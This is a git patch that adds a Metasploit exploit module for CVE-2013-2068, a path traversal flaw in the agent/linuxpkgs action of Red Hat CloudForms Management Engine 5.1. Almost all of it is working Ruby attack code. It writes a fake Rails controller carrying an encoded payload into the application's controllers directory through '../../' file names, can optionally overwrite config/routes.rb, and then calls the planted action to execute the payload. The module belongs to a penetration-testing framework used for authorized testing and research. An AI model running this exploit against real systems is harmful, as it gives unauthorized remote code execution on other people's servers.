From 21661b168b4e6199cfc4a379039bb9870a5fbb9c Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Mon, 9 Dec 2013 16:18:12 -0200 Subject: [PATCH] Add cfme_manageiq_evm_upload_exec.rb This module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). --- .../http/cfme_manageiq_evm_upload_exec.rb | 125 ++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100755 modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb new file mode 100755 index 0000000000..16eb3081ac --- /dev/null +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -0,0 +1,125 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal', + 'Description' => %q{ + This module exploits a path traversal vulnerability in the "linuxpkgs" + action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 + (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). + It uploads a fake controller to the controllers directory of the Rails + application with the encoded payload as an action and sends a request to + this action to execute the payload. Optionally, it can also upload a routing + file containing a route to the action. (Which is not necessary, since the + application already contains a general default route.) + }, + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-2068'], + ['CWE', '22'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422'] + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => true, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DisclosureDate' => 'Sep 4 2013', + 'DefaultOptions' => { 'PrependFork' => true }, + 'DefaultTarget' => 0 + ) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptBool.new('ROUTES', [true, 'Upload a routing file', false]), + OptString.new('CONTROLLER', [false, 'The name of the controller']), + OptString.new('ACTION', [false, 'The name of the action']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) + ], self.class + ) + end + + def exploit + controller = + if datastore['CONTROLLER'].nil? || datastore['CONTROLLER'].empty? + Rex::Text.rand_text_alpha_lower(rand(9) + 3) + else + datastore['CONTROLLER'].downcase + end + + action = + if datastore['ACTION'].nil? || datastore['ACTION'].empty? + Rex::Text.rand_text_alpha_lower(rand(9) + 3) + else + datastore['ACTION'].downcase + end + + data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n" + + print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...") + res = send_request_cgi( + 'method' => datastore['HTTP_METHOD'], + 'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'), + "vars_#{datastore['HTTP_METHOD'].downcase}" => { + 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)), + 'filename' => "../../app/controllers/#{controller}_controller.rb", + 'md5' => Rex::Text.md5(data) + } + ) + + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? + + if datastore['ROUTES'] + data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n" + + print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...") + res = send_request_cgi( + 'method' => datastore['HTTP_METHOD'], + 'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'), + "vars_#{datastore['HTTP_METHOD'].downcase}" => { + 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)), + 'filename' => '../../config/routes.rb', + 'md5' => Rex::Text.md5(data) + } + ) + + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? + end + + print_status("Sending execute request to #{target_url(controller, action)}...") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, controller, action) + ) + + handler + end + + def target_url(*args) + (ssl ? 'https' : 'http') + + if rport.to_i == 80 || rport.to_i == 443 + "://#{vhost}" + else + "://#{vhost}:#{rport}" + end + normalize_uri(target_uri.path, *args) + end +end +